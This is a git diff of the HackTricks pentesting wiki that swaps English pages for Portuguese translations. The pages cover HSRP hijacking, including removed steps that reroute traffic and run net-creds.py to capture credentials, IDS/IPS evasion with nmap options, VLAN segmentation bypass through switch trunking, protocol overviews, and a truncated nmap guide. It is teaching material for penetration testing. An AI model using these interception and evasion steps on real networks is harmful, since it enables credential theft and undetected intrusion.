-   sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
-   ```
-5. Modify the routing table to route traffic through the former Active Router.
-   ```shell
-   sudo route del default
-   sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
-   ```
-6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic.
-   ```shell
-   sudo python2 net-creds.py -i eth0
-   ```
+Executar esses passos coloca o atacante em uma posição para interceptar e manipular o tráfego, semelhante ao procedimento para sequestro GLBP. Isso destaca a vulnerabilidade em protocolos de redundância como HSRP e a necessidade de medidas de segurança robustas.
 
-Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures.
-
-## References
+## Referências
 
 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md
index fd94988fa..a24df0c77 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md
@@ -1,57 +1,45 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-

+# **Manipulação de TTL**
 
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
+Envie alguns pacotes com um TTL suficiente para chegar ao IDS/IPS, mas não o suficiente para chegar ao sistema final. E então, envie outros pacotes com as mesmas sequências que os anteriores, para que o IPS/IDS pense que são repetições e não os verifique, mas na verdade eles estão carregando o conteúdo malicioso.
 
-{% embed url="https://academy.8ksec.io/" %}
+**Opção do Nmap:** `--ttlvalue `
 
-# **TTL Manipulation**
+# Evitando assinaturas
 
-Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content.
+Basta adicionar dados inúteis aos pacotes para que a assinatura do IPS/IDS seja evitada.
 
-**Nmap option:** `--ttlvalue `
+**Opção do Nmap:** `--data-length 25`
 
-# Avoiding signatures
+# **Pacotes Fragmentados**
 
-Just add garbage data to the packets so the IPS/IDS signature is avoided.
+Basta fragmentar os pacotes e enviá-los. Se o IDS/IPS não tiver a capacidade de reassemblá-los, eles chegarão ao host final.
 
-**Nmap option:** `--data-length 25`
+**Opção do Nmap:** `-f`
 
-# **Fragmented Packets**
+# **Checksum** _**inválido**_
 
-Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host.
+Os sensores geralmente não calculam o checksum por razões de desempenho. Assim, um atacante pode enviar um pacote que será **interpretado pelo sensor, mas rejeitado pelo host final.** Exemplo:
 
-**Nmap option:** `-f`
+Envie um pacote com a flag RST e um checksum inválido, assim, o IPS/IDS pode pensar que este pacote vai fechar a conexão, mas o host final descartará o pacote, pois o checksum é inválido.
 
-# **Invalid** _**checksum**_
+# **Opções IP e TCP incomuns**
 
-Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example:
+Um sensor pode desconsiderar pacotes com certas flags e opções definidas nos cabeçalhos IP e TCP, enquanto o host de destino aceita o pacote ao recebê-lo.
 
-Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid.
+# **Sobreposição**
 
-# **Uncommon IP and TCP options**
+É possível que, ao fragmentar um pacote, exista algum tipo de sobreposição entre os pacotes (talvez os primeiros 8 bytes do pacote 2 se sobreponham com os últimos 8 bytes do pacote 1, e os últimos 8 bytes do pacote 2 se sobreponham com os primeiros 8 bytes do pacote 3). Então, se o IDS/IPS reassemblá-los de uma maneira diferente do host final, um pacote diferente será interpretado.\
+Ou talvez, 2 pacotes com o mesmo deslocamento cheguem e o host tenha que decidir qual deles aceitar.
 
-A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt.
+- **BSD**: Tem preferência por pacotes com _deslocamento_ menor. Para pacotes com o mesmo deslocamento, escolherá o primeiro.
+- **Linux**: Como o BSD, mas prefere o último pacote com o mesmo deslocamento.
+- **Primeiro** (Windows): Primeiro valor que chega, valor que permanece.
+- **Último** (cisco): Último valor que chega, valor que permanece.
 
-# **Overlapping**
-
-It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\
-Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes.
-
-- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one.
-- **Linux**: Like BSD, but it prefers the last packet with the same offset.
-- **First** (Windows): First value that comes, value that stays.
-- **Last** (cisco): Last value that comes, value that stays.
-
-# Tools
+# Ferramentas
 
 - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
 
-

-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
index eaf5835eb..2707f2c6a 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
@@ -1,35 +1,28 @@
-# Lateral VLAN Segmentation Bypass
+# Bypass de Segmentação de VLAN Lateral
 
 {{#include ../../banners/hacktricks-training.md}}
 
-If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
+Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecendo interfaces virtuais para as VLANs alvo e definindo endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
 
-Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask.
-
-**If CDP is not operational, port identification can be attempted by searching for the MAC address**:
+Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara **include**.
 
+**Se o CDP não estiver operacional, a identificação da porta pode ser tentada buscando pelo endereço MAC**:
 ```
 SW1(config)# show mac address-table | include 0050.0000.0500
 ```
-
-Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10.
-
+Antes de mudar para o modo trunk, uma lista de VLANs existentes deve ser compilada e seus identificadores determinados. Esses identificadores são então atribuídos à interface, permitindo o acesso a várias VLANs através do trunk. A porta em uso, por exemplo, está associada à VLAN 10.
 ```
 SW1# show vlan brief
 ```
-
-**Transitioning to trunk mode entails entering interface configuration mode**:
-
+**A transição para o modo trunk envolve entrar no modo de configuração da interface**:
 ```
 SW1(config)# interface GigabitEthernet 0/2
 SW1(config-if)# switchport trunk encapsulation dot1q
 SW1(config-if)# switchport mode trunk
 ```
+Mudar para o modo trunk irá temporariamente interromper a conectividade, mas isso pode ser restaurado posteriormente.
 
-Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently.
-
-Virtual interfaces are then created, assigned VLAN IDs, and activated:
-
+Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas:
 ```bash
 sudo vconfig add eth0 10
 sudo vconfig add eth0 20
@@ -40,27 +33,22 @@ sudo ifconfig eth0.20 up
 sudo ifconfig eth0.50 up
 sudo ifconfig eth0.60 up
 ```
-
-Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured:
-
+Em seguida, uma solicitação de endereço é feita via DHCP. Alternativamente, em casos onde o DHCP não é viável, os endereços podem ser configurados manualmente:
 ```bash
 sudo dhclient -v eth0.10
 sudo dhclient -v eth0.20
 sudo dhclient -v eth0.50
 sudo dhclient -v eth0.60
 ```
-
-Example for manually setting a static IP address on an interface (VLAN 10):
-
+Exemplo de como definir manualmente um endereço IP estático em uma interface (VLAN 10):
 ```bash
 sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
 ```
+A conectividade é testada iniciando solicitações ICMP para os gateways padrão das VLANs 10, 20, 50 e 60.
 
-Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60.
+Em última análise, esse processo permite contornar a segmentação de VLAN, facilitando o acesso irrestrito a qualquer rede VLAN e preparando o terreno para ações subsequentes.
 
-Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
-
-## References
+## Referências
 
 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md
index 72dfbfb12..12278b7cb 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md
@@ -2,54 +2,54 @@
 
 ## Multicast DNS (mDNS)
 
-The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information.
+O protocolo **mDNS** é projetado para resolução de endereços IP dentro de redes locais pequenas, sem um servidor de nomes dedicado. Ele opera transmitindo uma consulta por multicast dentro da sub-rede, solicitando que o host com o nome especificado responda com seu endereço IP. Todos os dispositivos na sub-rede podem então atualizar seus caches mDNS com essa informação.
 
-Key points to note:
+Pontos-chave a serem observados:
 
-- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero.
-- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments.
-- **Networking Details**:
-  - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
-  - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
-  - Operates over UDP port 5353.
-  - mDNS queries are confined to the local network and do not cross routers.
+- **Renúncia de Nome de Domínio**: Um host pode liberar seu nome de domínio enviando um pacote com um TTL de zero.
+- **Restrição de Uso**: O mDNS normalmente resolve nomes que terminam em **.local** apenas. Conflitos com hosts não-mDNS neste domínio exigem ajustes na configuração da rede.
+- **Detalhes de Rede**:
+- Endereços MAC multicast Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
+- Endereços IP: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
+- Opera sobre a porta UDP 5353.
+- Consultas mDNS são restritas à rede local e não atravessam roteadores.
 
-## DNS-SD (Service Discovery)
+## DNS-SD (Descoberta de Serviço)
 
-DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html).
+DNS-SD é um protocolo para descobrir serviços em uma rede consultando nomes de domínio específicos (por exemplo, `_printers._tcp.local`). Uma resposta inclui todos os domínios relacionados, como impressoras disponíveis neste caso. Uma lista abrangente de tipos de serviço pode ser encontrada [aqui](http://www.dns-sd.org/ServiceTypes.html).
 
-## SSDP (Simple Service Discovery Protocol)
+## SSDP (Protocolo Simples de Descoberta de Serviço)
 
-SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP.
+O SSDP facilita a descoberta de serviços de rede e é utilizado principalmente pelo UPnP. É um protocolo baseado em texto que utiliza UDP na porta 1900, com endereçamento multicast. Para IPv4, o endereço multicast designado é `239.255.255.250`. A base do SSDP é [HTTPU](https://en.wikipedia.org/wiki/HTTPU), uma extensão do HTTP para UDP.
 
 ## Web Service for Devices (WSD)
 
-Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings.
+Dispositivos conectados a uma rede podem identificar serviços disponíveis, como impressoras, através do Web Service for Devices (WSD). Isso envolve a transmissão de pacotes UDP. Dispositivos que buscam serviços enviam solicitações, enquanto provedores de serviços anunciam suas ofertas.
 
 ## OAuth 2.0
 
-OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data.
+OAuth 2.0 é um protocolo que facilita o compartilhamento seguro e seletivo de informações do usuário entre serviços. Por exemplo, ele permite que serviços acessem dados do usuário do Google sem múltiplos logins. O processo envolve autenticação do usuário, autorização pelo usuário e geração de token pelo Google, permitindo que o serviço acesse os dados do usuário especificado.
 
 ## RADIUS
 
-RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes.
+RADIUS (Remote Authentication Dial-In User Service) é um protocolo de acesso à rede utilizado principalmente por ISPs. Ele suporta autenticação, autorização e contabilidade. As credenciais do usuário são verificadas por um servidor RADIUS, podendo incluir verificação de endereço de rede para maior segurança. Após a autenticação, os usuários recebem acesso à rede e os detalhes de sua sessão são rastreados para fins de cobrança e estatísticas.
 
-## SMB and NetBIOS
+## SMB e NetBIOS
 
 ### SMB (Server Message Block)
 
-SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices.
+SMB é um protocolo para compartilhamento de arquivos, impressoras e portas. Ele opera diretamente sobre TCP (porta 445) ou via NetBIOS sobre TCP (portas 137, 138). Essa compatibilidade dupla melhora a conectividade com vários dispositivos.
 
 ### NetBIOS (Network Basic Input/Output System)
 
-NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting.
+NetBIOS gerencia sessões e conexões de rede para compartilhamento de recursos. Ele suporta nomes únicos para dispositivos e nomes de grupo para múltiplos dispositivos, permitindo mensagens direcionadas ou de broadcast. A comunicação pode ser sem conexão (sem reconhecimento) ou orientada a conexão (baseada em sessão). Embora o NetBIOS tradicionalmente opere sobre protocolos como IPC/IPX, ele é comumente utilizado sobre TCP/IP. O NetBEUI, um protocolo associado, é conhecido por sua velocidade, mas também era bastante verboso devido ao broadcasting.
 
 ## LDAP (Lightweight Directory Access Protocol)
 
-LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication.
+LDAP é um protocolo que permite a gestão e acesso a informações de diretório sobre TCP/IP. Ele suporta várias operações para consultar e modificar informações de diretório. Predominantemente, é utilizado para acessar e manter serviços de informações de diretório distribuídos, permitindo interação com bancos de dados projetados para comunicação LDAP.
 
 ## Active Directory (AD)
 
-Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain.
+Active Directory é um banco de dados acessível pela rede que contém objetos como usuários, grupos, privilégios e recursos, facilitando a gestão centralizada de entidades de rede. O AD organiza seus dados em uma estrutura hierárquica de domínios, que pode abranger servidores, grupos e usuários. Subdomínios permitem uma segmentação adicional, cada um podendo manter seu próprio servidor e base de usuários. Essa estrutura centraliza a gestão de usuários, concedendo ou restringindo acesso a recursos da rede. Consultas podem ser feitas para recuperar informações específicas, como detalhes de contato, ou para localizar recursos, como impressoras, dentro do domínio.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md
index 02535d28b..3c8765ce7 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md
@@ -1,96 +1,90 @@
-# Nmap Summary (ESP)
+# Resumo do Nmap (ESP)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-

-
-{% embed url="https://websec.nl/" %}
-
 ```
 nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
 ```
+## Parâmetros
 
-## Parameters
+### IPs a escanear
 
-### IPs to scan
-
-- **`,`:** Indicate the ips directly
+- **`,`:** Indique os ips diretamente
 - **`-iL `:** list_IPs
-- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `.
+- **`-iR `**: Número de Ips aleatórios, você pode excluir possíveis Ips com `--exclude ` ou `--excludefile `.
 
-### Equipment discovery
+### Descoberta de equipamentos
 
-By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP`
+Por padrão, o Nmap inicia uma fase de descoberta consistindo em: `-PA80 -PS443 -PE -PP`
 
-- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets.
-- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase.
-- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped.
-- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`.
-- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80.
-- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results.
-- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable.
-- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active.
-- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied.
-- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up.
-- **`-n`**: No DNS
-- **`-R`**: DNS always
+- **`-sL`**: Não é invasivo, lista os alvos fazendo **DNS** solicitações para resolver nomes. É útil para saber se, por exemplo, www.prueba.es/24 todos os Ips são nossos alvos.
+- **`-Pn`**: **Sem ping**. Isso é útil se você sabe que todos estão ativos (caso contrário, você pode perder muito tempo, mas essa opção também produz falsos negativos dizendo que não estão ativos), impede a fase de descoberta.
+- **`-sn`** : **Sem escaneamento de portas**. Após completar a fase de reconhecimento, não escaneia portas. É relativamente furtivo e permite um pequeno escaneamento de rede. Com privilégios, envia um ACK (-PA) para 80, um SYN(-PS) para 443 e uma solicitação de eco e uma solicitação de timestamp; sem privilégios, sempre completa conexões. Se o alvo for a rede, usa apenas ARP(-PR). Se usado com outra opção, apenas os pacotes da outra opção são descartados.
+- **`-PR`**: **Ping ARP**. É usado por padrão ao analisar computadores em nossa rede, é mais rápido do que usar pings. Se você não quiser usar pacotes ARP, use `--send-ip`.
+- **`-PS `**: Envia pacotes SYN para os quais, se responder SYN/ACK, está aberto (para o qual responde com RST para não encerrar a conexão); se responder RST, está fechado e se não responder, está inacessível. No caso de não ter privilégios, uma conexão total é usada automaticamente. Se nenhuma porta for fornecida, é direcionado para 80.
+- **`-PA `**: Como o anterior, mas com ACK, combinando ambos dá melhores resultados.
+- **`-PU `**: O objetivo é o oposto, são enviados para portas que se espera que estejam fechadas. Alguns firewalls verificam apenas conexões TCP. Se estiver fechado, é respondido com porta inacessível; se for respondido com outro icmp ou não for respondido, é deixado como inacessível.
+- **`-PE, -PP, -PM`** : ICMP PINGS: resposta de eco, timestamp e máscara de endereço. Eles são lançados para descobrir se o alvo está ativo.
+- **`-PY`**: Envia sondas SCTP INIT para 80 por padrão; INIT-ACK(aberto) ou ABORT(fechado) ou nada ou ICMP inacessível(inativo) podem ser respondidos.
+- **`-PO `**: Um protocolo é indicado nos cabeçalhos, por padrão 1(ICMP), 2(IGMP) e 4(Encap IP). Para os protocolos ICMP, IGMP, TCP (6) e UDP (17), os cabeçalhos de protocolo são enviados; para os demais, apenas o cabeçalho IP é enviado. O objetivo disso é que, devido à má formação dos cabeçalhos, respostas de Protocolo inacessível ou do mesmo protocolo são respondidas para saber se está ativo.
+- **`-n`**: Sem DNS
+- **`-R`**: DNS sempre
 
-### Port scanning techniques
+### Técnicas de escaneamento de portas
 
-- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default.
-- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges.
-- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time.
-- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY
-- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes.
-- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed.
-- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around.
-- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets.
-- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls.
-- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open.
-- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered.
-- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use.
+- **`-sS`**: Não completa a conexão, portanto não deixa rastros, muito bom se puder ser usado.(privilégios) É o que é usado por padrão.
+- **`-sT`**: Completa a conexão, portanto deixa um rastro, mas pode ser usado com certeza. Por padrão, sem privilégios.
+- **`-sU`**: Mais lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 e 68), (-sU53,161,162,67,68): aberto(resposta), fechado(porta inacessível), filtrado (outro ICMP), aberto/filtrado (nada). No caso de aberto/filtrado, -sV envia numerosas solicitações para detectar qualquer uma das versões que o nmap suporta e pode detectar o verdadeiro estado. Aumenta muito o tempo.
+- **`-sY`**: O protocolo SCTP falha ao estabelecer a conexão, portanto não há logs, funciona como -PY
+- **`-sN,-sX,-sF`:** Null, Fin, Xmas, podem penetrar alguns firewalls e extrair informações. Baseiam-se no fato de que máquinas compatíveis com o padrão devem responder com RST a todas as solicitações que não têm SYN, RST ou ACK; atrasos levantados: aberto/filtrado(nada), fechado(RST), filtrado (ICMP inacessível). Não confiável em Windows, Cisco, BSDI e OS/400. No unix sim.
+- **`-sM`**: Escaneamento Maimon: Envia flags FIN e ACK, usado para BSD, atualmente retornará tudo como fechado.
+- **`-sA, sW`**: ACK e Window, é usado para detectar firewalls, para saber se as portas estão filtradas ou não. O -sW distingue entre aberto/fechado, uma vez que os abertos respondem com um valor de janela diferente: aberto (RST com janela diferente de 0), fechado (RST janela = 0), filtrado (ICMP inacessível ou nada). Nem todos os computadores funcionam dessa maneira, então se tudo estiver fechado, não está funcionando; se estiverem poucos abertos, está funcionando bem; e se estiverem muitos abertos e poucos fechados, está funcionando ao contrário.
+- **`-sI`:** Escaneamento Idle. Para os casos em que há um firewall ativo, mas sabemos que ele não filtra para um determinado Ip (ou quando simplesmente queremos anonimato), podemos usar o scanner zumbi (funciona para todas as portas); para procurar possíveis zumbis, podemos usar o script ipidseq ou o exploit auxiliary/scanner/ip/ipidseq. Este scanner é baseado no número IPID dos pacotes IP.
+- **`--badsum`:** Envia a soma errada, os computadores descartariam os pacotes, mas os firewalls poderiam responder algo, é usado para detectar firewalls.
+- **`-sZ`:** Scanner SCTP "estranho", ao enviar sondas com fragmentos de cookie echo, eles devem ser descartados se abertos ou respondidos com ABORT se fechados. Pode passar por firewalls que o init não passa, o ruim é que não distingue entre filtrado e aberto.
+- **`-sO`:** Escaneamento de Protocolo Ip. Envia cabeçalhos ruins e vazios nos quais às vezes nem o protocolo pode ser distinguido. Se chegar um protocolo ICMP inacessível, está fechado; se chegar uma porta inacessível, está aberta; se chegar outro erro, filtrado; se nada chegar, aberto|filtrado.
+- **`-b `:** FTPhost--> É usado para escanear um host a partir de outro, isso é feito conectando o ftp de outra máquina e pedindo que ela envie arquivos para as portas que você deseja escanear de outra máquina; de acordo com as respostas, saberemos se estão abertas ou não. \[\:\@]\\[:\] Quase todos os servidores ftps não permitem mais que você faça isso e, portanto, é de pouca utilidade prática.
 
-### **Focus Analysis**
+### **Análise de Foco**
 
-**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1
+**-p:** Usado para especificar portas a escanear. Para selecionar todas as 65.335 portas: **-p-** ou **-p all**. O Nmap tem uma classificação interna baseada na popularidade. Por padrão, usa as 1000 portas principais. Com **-F** (escaneamento rápido), analisa as 100 principais. Com **--top-ports **, analisa esse número de portas principais (de 1 a 65.335). Verifica portas em ordem aleatória; para evitar isso, use **-r**. Também podemos selecionar portas específicas: 20-30,80,443,1024- (este último significa procurar a partir de 1024). Também podemos agrupar portas por protocolos: U:53,T:21-25,80,139,S:9. Também podemos escolher um intervalo dentro das portas populares do Nmap: -p [-1024] analisa até a porta 1024 a partir das incluídas em nmap-services. **--port-ratio ** Analisa as portas mais comuns dentro de uma razão entre 0 e 1
 
-**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7.
+**-sV** Escaneamento de versão, a intensidade pode ser regulada de 0 a 9, o padrão é 7.
 
-**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time
